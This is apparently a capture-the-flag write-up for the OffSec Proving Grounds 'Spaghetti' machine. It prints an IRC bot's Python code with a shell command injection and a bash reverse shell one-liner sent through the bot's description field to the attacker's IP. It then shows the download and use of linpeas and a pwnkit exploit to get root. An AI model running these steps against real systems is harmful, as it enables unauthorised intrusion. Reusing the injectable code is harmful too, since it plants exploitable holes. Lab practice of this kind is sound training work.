Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - SPAGHETTI

·2624 words·13 mins·
OFFSEC PG PRACTICE IRC PYBOT PWNKIT
Table of Contents

Summary
#

There is a IRC server running on port 6667. By sending a message to a spaghetti_BoT, we get a URL with the source code of the bot. Analyzing the code we can get code execution and a reverse shell as the hostmaster user. Once on the target we see that it’s vulnerable for pwnkit (CVE-2021-4034). Using this exploit we escalate our privileges to the root user.

Specifications
#

  • Name: SPAGHETTI
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • System overview: Linux spaghetti.lan 5.4.0-66-generic #74-Ubuntu SMP Wed Jan 27 22:54:38 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.117.160
  • OFFSEC provided credentials: None
  • HASH: local.txt:36189aabaf0a19f5252c6e2c425118d8
  • HASH: proof.txt:8af3c9e565a39b1bab511cf4c5b684c0

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir spaghetti && cd spaghetti && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep 19 08:47 .
drwxrwxr-x 71 kali kali 4096 Sep 19 08:47 ..
drwxrwxr-x  2 kali kali 4096 Sep 19 08:47 enum
drwxrwxr-x  2 kali kali 4096 Sep 19 08:47 exploits
drwxrwxr-x  2 kali kali 4096 Sep 19 08:47 files
drwxrwxr-x  2 kali kali 4096 Sep 19 08:47 tools
drwxrwxr-x  2 kali kali 4096 Sep 19 08:47 uploads

## set bash variable
ip=192.168.117.160

## ping target to check if it's online
ping $ip

PING 192.168.117.160 (192.168.117.160) 56(84) bytes of data.
64 bytes from 192.168.117.160: icmp_seq=1 ttl=61 time=18.8 ms
64 bytes from 192.168.117.160: icmp_seq=2 ttl=61 time=18.6 ms
^C
--- 192.168.117.160 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.606/18.711/18.816/0.105 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
With RustScan, I scan ports so fast, even my firewall gets whiplash 💨

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.117.160:22
Open 192.168.117.160:25
Open 192.168.117.160:80
Open 192.168.117.160:6667
Open 192.168.117.160:8080
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 08:48 CEST
Initiating Ping Scan at 08:48
Scanning 192.168.117.160 [4 ports]
Completed Ping Scan at 08:48, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:48
Completed Parallel DNS resolution of 1 host. at 08:48, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:48
Scanning 192.168.117.160 [5 ports]
Discovered open port 22/tcp on 192.168.117.160
Discovered open port 8080/tcp on 192.168.117.160
Discovered open port 25/tcp on 192.168.117.160
Discovered open port 80/tcp on 192.168.117.160
Discovered open port 6667/tcp on 192.168.117.160
Completed SYN Stealth Scan at 08:48, 0.05s elapsed (5 total ports)
Nmap scan report for 192.168.117.160
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-09-19 08:48:42 CEST for 0s

PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 61
25/tcp   open  smtp       syn-ack ttl 61
80/tcp   open  http       syn-ack ttl 61
6667/tcp open  irc        syn-ack ttl 61
8080/tcp open  http-proxy syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
           Raw packets sent: 9 (372B) | Rcvd: 6 (248B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh        syn-ack ttl 61
25/tcp   open  smtp       syn-ack ttl 61
80/tcp   open  http       syn-ack ttl 61
6667/tcp open  irc        syn-ack ttl 61
8080/tcp open  http-proxy syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,25,80,6667,8080

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,25,80,6667,8080 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH6PH1/ST7TUJ4Mp/l4c7G+TM07YbX7YIsnHzq1TRpvtiBh8MQuFkL1SWW9+za+h6ZraqoZ0ewwkH+0la436t9Q+2H/Nh4CntJOrRbpLJKg4hChjgCHd5KiLCOKHhXPs/FA3mm0Zkzw1tVJLPR6RTbIkkbQiV2Zk3u8oamV5srWIJeYUY5O2XXmTnKENfrPXeHup1+3wBOkTO4Mu17wBSw6yvXyj+lleKjQ6Hnje7KozW5q4U6ijd3LmvHE34UHq/qUbCUbiwY06N2Mj0NQiZqWW8z48eTzGsuh6u1SfGIDnCCq3sWm37Y5LIUvqAFyIEJZVsC/UyrJDPBE+YIODNbN2QLD9JeBr8P4n1rkMaXbsHGywFtutdSrBZwYuRuB2W0GjIEWD/J7lxKIJ9UxRq0UxWWkZ8s3SNqUq2enfPwQt399nigtUerccskdyUD0oRKqVnhZCjEYfX3qOnlAqejr3Lpm8nA31pp6lrKNAmQEjdSO8Jxk04OR2JBxcfVNfs=
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI0EdIHR7NOReMM0G7C8zxbLgwB3ump+nb2D3Pe3tXqp/6jNJ/GbU2e4Ab44njMKHJbm/PzrtYzojMjGDuBlQCg=
|   256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDCc0saExmeDXtqm5FS+D5RnDke8aJEvFq3DJIr0KZML
25/tcp   open  smtp    syn-ack ttl 61 Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: spaghetti.lan, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=spaghetti.lan
| Subject Alternative Name: DNS:spaghetti.lan
| Issuer: commonName=spaghetti.lan
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-03-09T11:39:07
| Not valid after:  2031-03-07T11:39:07
| MD5:   021b:1475:a2af:c8b2:b5bb:4c33:0a0b:353c
| SHA-1: 1f9f:abf1:1942:be28:ba4a:05be:98a3:a495:9593:da1b
| -----BEGIN CERTIFICATE-----
| MIIC5TCCAc2gAwIBAgIUSPOv3z5P8X13Fxv2dwnAZ186mvYwDQYJKoZIhvcNAQEL
| BQAwGDEWMBQGA1UEAwwNc3BhZ2hldHRpLmxhbjAeFw0yMTAzMDkxMTM5MDdaFw0z
| MTAzMDcxMTM5MDdaMBgxFjAUBgNVBAMMDXNwYWdoZXR0aS5sYW4wggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3KMOBn7ah1I4YK+x0qqlq1dFrSG+bobbx
| bfPo9FwHmrTxvQ8LdlZW04m9jGGR4kUqHVLNZYmf8LCOomGn9lT6dO8Lvl5eb2XP
| ZKzgLiIy2OnyJXEoszIf/le1wjR5xXITmfSWZhtdjWZ2fnkquqH6hWeENtyDV4r8
| 0AYIKCKmPvx1oNt6JUEVQQF+q2GgOp6cdKtAEKDfts3eWxHeixZSRcgJQzuP5VyS
| PNk+M1Mhc+V6wJUPxvcRHMbRS4XYNfRr3XEoTCpfLIxcUgJxDxhLkdjmp4vLNrK1
| yVmiRVebSgCTWKbp5wt3eX4wSfzOhYgZXIr+kxUR/1yQ781M5KQdAgMBAAGjJzAl
| MAkGA1UdEwQCMAAwGAYDVR0RBBEwD4INc3BhZ2hldHRpLmxhbjANBgkqhkiG9w0B
| AQsFAAOCAQEAE3ONAEngp5gtG5uC13UqzQgpB+NBibrZqric3aLDk9mBDRv7IKbx
| Uc0jq7ypT3UWWyC/hH2h7zWAA3yjYXImW5N2nwr6ai2jjrY4TUnA2zeFxwJtFavE
| TQhwj8mN3aAZFENCms232pyx9Io3E8yq98QC0jIMnCTB2y506EEnnL4hCh1tszD6
| RayIEeqbjT1X3XjiozsVw6+UoiW/6MQK6SqQqvKw+6VC/NDGXwSH+sQvXTRuJD4k
| NxySIn0Z61vSrJQ9Fyb4bfXtT90DuHxSVdiYLF+kIiL9pJkFSWq0L/U+F58SKLQO
| y9pjepRDkI9vPPrSjqzWvC0iFEFrH58EQQ==
|_-----END CERTIFICATE-----
80/tcp   open  http    syn-ack ttl 61 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Spaghetti Mail
| http-methods: 
|_  Supported Methods: GET HEAD
6667/tcp open  irc     syn-ack ttl 61
| irc-info: 
|   users: 2
|   servers: 1
|   chans: 1
|   lusers: 2
|   lservers: 0
|   server: irc.spaghetti.lan
|   version: InspIRCd-3. irc.spaghetti.lan 
|   source ident: nmap
|   source host: 192.168.45.189
|_  error: Closing link: (nmap@192.168.45.189) [Client exited]
8080/tcp open  http    syn-ack ttl 61 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
| http-title: Postfix Admin - 192.168.117.160:8080
|_Requested resource was login.php
Service Info: Hosts:  spaghetti.lan, irc.spaghetti.lan; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

80/tcp   open  http    syn-ack ttl 61 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Spaghetti Mail
| http-methods: 
|_  Supported Methods: GET HEAD

6667/tcp open  irc     syn-ack ttl 61
| irc-info: 
|   users: 2
|   servers: 1
|   chans: 1
|   lusers: 2
|   lservers: 0
|   server: irc.spaghetti.lan
|   version: InspIRCd-3. irc.spaghetti.lan 
|   source ident: nmap
|   source host: 192.168.45.189
|_  error: Closing link: (nmap@192.168.45.189) [Client exited]

On port 80 there is a website called spaghetti with a reference at the bottom of the page irc.spaghetti.lan and #mailAssistant.

We also found IRC with the NMAP scan on port 6667. Let’s see if we can login. Indeed, we can login. Using the list command (https://conshell.net/wiki/IRC_cheatsheet) we can print channel names and channel banner. There is a channel called: #mailAssistant, we already saw on the web page. Joining this channel and sending a message we see there is a user called: spaghetti_BoT. Sending a message to this user with !command should give us a list of commands. Sending this message gives us the !about.

## connect to the IRC port 6667
nc -vn $ip 6667
(UNKNOWN) [192.168.117.160] 6667 (ircd) open
:irc.spaghetti.lan NOTICE * :*** Looking up your hostname...
:irc.spaghetti.lan NOTICE * :*** Could not resolve your hostname: Request timed out; using your IP address (192.168.45.189) instead.

## enter username and nickname
USER hekk 0 * hekk
NICK hekk

## response IRC server
:irc.spaghetti.lan 001 hekk :Welcome to the Localnet IRC Network hekk!hekk@192.168.45.189
:irc.spaghetti.lan 002 hekk :Your host is irc.spaghetti.lan, running version InspIRCd-3
:irc.spaghetti.lan 003 hekk :This server was created 03:43:51 Aug 03 2024
:irc.spaghetti.lan 004 hekk irc.spaghetti.lan InspIRCd-3 iosw biklmnopstv :bklov
:irc.spaghetti.lan 005 hekk AWAYLEN=200 CASEMAPPING=rfc1459 CHANLIMIT=#:20 CHANMODES=b,k,l,imnpst CHANNELLEN=64 CHANTYPES=# ELIST=CMNTU HOSTLEN=64 KEYLEN=32 KICKLEN=255 LINELEN=512 MAXLIST=b:100 :are supported by this server
:irc.spaghetti.lan 005 hekk MAXTARGETS=20 MODES=20 NETWORK=Localnet NICKLEN=30 PREFIX=(ov)@+ SAFELIST STATUSMSG=@+ TOPICLEN=307 USERLEN=10 WHOX :are supported by this server
:irc.spaghetti.lan 251 hekk :There are 1 users and 0 invisible on 1 servers
:irc.spaghetti.lan 253 hekk 1 :unknown connections
:irc.spaghetti.lan 254 hekk 1 :channels formed
:irc.spaghetti.lan 255 hekk :I have 1 clients and 0 servers
:irc.spaghetti.lan 265 hekk :Current local users: 1  Max: 2
:irc.spaghetti.lan 266 hekk :Current global users: 1  Max: 2
:irc.spaghetti.lan 375 hekk :irc.spaghetti.lan message of the day
:irc.spaghetti.lan 372 hekk :- **************************************************
:irc.spaghetti.lan 372 hekk :- *             H    E    L    L    O              *
:irc.spaghetti.lan 372 hekk :- *  This is a private irc server. Please contact  *
:irc.spaghetti.lan 372 hekk :- *  the admin of the server for any questions or  *
:irc.spaghetti.lan 372 hekk :- *  issues.                                       *
:irc.spaghetti.lan 372 hekk :- **************************************************
:irc.spaghetti.lan 372 hekk :- *  The software was provided as a package of     *
:irc.spaghetti.lan 372 hekk :- *  Debian GNU/Linux <https://www.debian.org/>.   *
:irc.spaghetti.lan 372 hekk :- *  However, Debian has no control over this      *
:irc.spaghetti.lan 372 hekk :- *  server.                                       *
:irc.spaghetti.lan 372 hekk :- **************************************************
:irc.spaghetti.lan 372 hekk :- (The sysadmin possibly wants to edit </etc/inspircd/inspircd.motd>)
:irc.spaghetti.lan 376 hekk :End of message of the day.

## print available channels
list
:irc.spaghetti.lan 321 hekk Channel :Users Name
:irc.spaghetti.lan 322 hekk #mailAssistant 1 :[+nt] 
:irc.spaghetti.lan 323 hekk :End of channel list.

## join the `#mailAssistant` channel
:hekk!hekk@192.168.45.189 JOIN :#mailAssistant
:irc.spaghetti.lan 353 hekk = #mailAssistant :@spaghetti_BoT hekk
:irc.spaghetti.lan 366 hekk #mailAssistant :End of /NAMES list.

## send message in the channel
privmsg #mailAssistant hello
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG #mailAssistant :Hello! I'm a spaghetti assistant BoT, please DM me with !command for a list of command.

## send a message to `spaghetti_BoT` with !command
privmsg spaghetti_BoT !command
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :Please if you have any problems with your email, use: <email:your_email> <description:problem_description>. You will be contacted as soon as possible and mail will be sent to the administrator. Thank you.
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :**************************************************************************
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :Use: !about , for information.

## send a message to `spaghetti_BoT` with !about
privmsg spaghetti_BoT !about  
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :PyBot is developed and maintained by spaghettimail teams.
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :For more info and released versions use link below.
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :https://github.com/9b61f9c243d4e87b2c95aa27b9e9e1db/PyBot

Using the !about gives us a link to a URL: https://github.com/9b61f9c243d4e87b2c95aa27b9e9e1db/PyBot. Below is the Python code shown in this link.

#!/usr/bin/python3
from irc_class import *
import os
import random
import subprocess
import re


def send_message (recipient, subject, body):
   cmd="echo {} | mail -s '{}' {}".format(body,subject, recipient)
   process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)

regex = "^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}\$"

def check(email):
   if(re.search(regex,email)):
      return True
   else:
     return False



## IRC Config
server = "YourServer" # Provide a valid server IP/Hostname
port = 6667 # Provide a port
channel = "YourChannell" # change this
botnick = "BotName" # change this
botnickpass = "YourBotNickPass" # change this
botpass = "YourBotPass" # change this
irc = IRC()
irc.connect(server, port, channel, botnick, botpass, botnickpass)
recipient = "YourEmail" # change this


while True:
    text = irc.get_response()
    print(text)

    if "PRIVMSG" in text:
       user = text.split('!',1)[0][1:]
       channel = text.split('PRIVMSG',1)[1].split(':',1)[0] or ''
       userMessage = text.split('PRIVMSG',1)[1].split(':',1)[1] or ''

       if "PRIVMSG" in text and "#" in text and "hello" in text:
           irc.send(channel, user, "Hello! I'm a xxxxxxxxx BoT, please DM me with command for a list of command.")
    
       if "PRIVMSG" in text and "#" not in text and "command" in text:
           irc.send(channel, user, "Please if you have any problems with your email, use: <email:your_email> <description:problem_description>. You will be contacted as soon as possible and mail will be sent to the administrator. Thank you.")
           irc.send(channel, user, "Use: about, for information.")

        if "PRIVMSG" in text and "#" not in text and "about" in text:
           irc.send("Put here your message")
         

       if "PRIVMSG" in text and "email" in text and "description" in text:
           email = text.split("email",1)[1].split(":",1)[1].split()[0]
           if check(email) == True:
              description = text.split("description",1)[1].split(":",1)[1]
              body = description.rstrip()
              subject = "email from {}".format(email)
              send_message (recipient, subject, body)
              irc.send(channel, user, "Email sent to administrator. Thank you.")
           else:
              irc.send(channel, user, "Please insert a valid mail address !")

In this code we can see the different commands, but also a new one with email and description. The email value should be an email address checked by the check function. Nothing there, but the description command input is part of the send_message function (last parameter) because it is mapped to body. In this function the subprocess.Popen function, from Python’s subprocess module is to execute the shell command stored in cmd. The string cmd uses echo to output the body of the email, which is piped (|) into the mail command. However, this can lead to command injection. Using this knowledge, we can get a reverse shell as the hostmaster user in the /home/hostmaster directory.

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...

## send the reverse shell command
privmsg spaghetti_BoT email:kali@kali.lan description:;/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.189/9001 0>&1'      :spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :Email sent to administrator. Thank you.

## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
email:kali@kali.lan description:;/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.189/80 0>&1'connect to [192.168.45.189] from (UNKNOWN) [192.168.117.160] 56786
bash: cannot set terminal process group (1987): Inappropriate ioctl for device
bash: no job control in this shell
hostmaster@spaghetti:~$ 

The shell we have isn’t stable so, let’s get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
hostmaster@spaghetti:~$ export TERM=xterm && stty columns 200 rows 200

## print the current user
hostmaster@spaghetti:~$ whoami
hostmaster

## print the current working directory
hostmaster@spaghetti:~$ pwd
/home/hostmaster

## find `local.txt` on the filesystem
hostmaster@spaghetti:~$ find / -iname 'local.txt' 2>/dev/null
/home/hostmaster/local.txt

## print `local.txt`
hostmaster@spaghetti:~$ cat /home/hostmaster/local.txt
36189aabaf0a19f5252c6e2c425118d8

Privilege Escalation
#

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

## start local webserver
python3 -m http.server 80

## on target
## download `linpeas.sh`
hostmaster@spaghetti:~$ wget http://192.168.45.189/linpeas.sh
--2025-09-19 15:07:57--  http://192.168.45.189/linpeas.sh                                                               Connecting to 192.168.45.189:80... connected.                                                                           HTTP request sent, awaiting response... 200 OK                                                                          Length: 961834 (939K) [text/x-sh]                                                                                       Saving to: ‘linpeas.sh’                                                                                                                          
linpeas.sh                                          0%[                                                                                          linpeas.sh                                        100%[=============================================================================================================>] 939.29K  4.93MB/s    in 0.2s                                                                                            2025-09-19 15:07:58 (4.93 MB/s) - ‘linpeas.sh’ saved [961834/961834]                                                                             
## set the execution bit
hostmaster@spaghetti:~$ chmod +x linpeas.sh 

## run `linpeas.sh`
hostmaster@spaghetti:~$ ./linpeas.sh 

The linpeas.sh output shows the target is vulnerable for pwnkit (CVE-2021-4034). Now, let’s download the exploit, upload to the target and run it to escalate our privileges to root.

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target:
## download `pwnkit`
hostmaster@spaghetti:~$ wget http://192.168.45.189/pwnkit
--2025-09-19 15:32:26--  http://192.168.45.189/pwnkit
Connecting to 192.168.45.189:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: ‘pwnkit’

pwnkit                                              0%[                                                                                          pwnkit                                            100%[=============================================================================================================>]  17.62K  --.-KB/s    in 0.02s   

2025-09-19 15:32:26 (844 KB/s) - ‘pwnkit’ saved [18040/18040]

## set execution bit on `pwnkit`
hostmaster@spaghetti:~$ chmod +x pwnkit 

## execute `pwnkit`
hostmaster@spaghetti:~$ ./pwnkit 
root@spaghetti:/home/hostmaster# 

## print `proof.txt`
root@spaghetti:/home/hostmaster# cat /root/proof.txt
8af3c9e565a39b1bab511cf4c5b684c0

References
#

[+] https://conshell.net/wiki/IRC_cheatsheet
[+] https://github.com/9b61f9c243d4e87b2c95aa27b9e9e1db/PyBot
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Related

OFFSEC - Proving Grounds - PEPPO
·1634 words·8 mins
OFFSEC PG PRACTICE IDENT-USER-ENUM RBASH ED PWNKIT
Ident on port 113 reveals process owner eleanor on port 10000. SSH access via weak credentials to get initial access in rbash, escape rbash using ed, set PATH and exploit pwnkit (CVE-2021-4034) to gain root.
OFFSEC - Proving Grounds - PHOBOS
·2992 words·15 mins
OFFSEC PG PRACTICE GOBUSTER SVN BURP PWNKIT MONGODB PYMONGO
Find svn directory on port 80, enumerate logs for hostname. Register user and exploit code for LFI/RCE and initial access, use pwnkit (CVE-2021-4034) or crack root SHA-512 from MongoDB to escalate to root.
OFFSEC - Proving Grounds - BLACKGATE
·1478 words·7 mins
OSCP OFFSEC PG PRACTICE REDIS PWNKIT
Redis 4.0.14 on port 6379 exploited for initial access. linpeas.sh reveals pwnkit vulnerability (CVE-2021-4034) which leads to privilege escalation.
OFFSEC - Proving Grounds - WALLA
·1817 words·9 mins
OFFSEC PG PRACTICE WFUZZ PWNKIT
WFUZZ login credentials on port 8091, exploited RaspAP 2.5, CVE-2020-24572, then gained root via PwnKit.
OFFSEC - Proving Grounds - EXFILTRATED
·2598 words·13 mins
OSCP OFFSEC PG PRACTICE SUBRION CMS PWNKIT EXIFTOOL
SSH or Subrion CMS 4.2.1 file upload for access. Run linpeas to find CVE-2021-4034 (PwnKit) & cronjob with exiftool (CVE-2021-22204) for root.
OFFSEC - Proving Grounds - DEPLOYER
·3782 words·18 mins
OFFSEC PG PRACTICE FTP PHP PHP SERIALIZE DOCKER DOCKER BUILD
Anonymous FTP on port 21 gives site config and PHP code. Exploit LFI, drop PHP shell, gain initial access. Upload SSH key, use sudo docker build to get /opt/id_rsa.bak and escalate to root.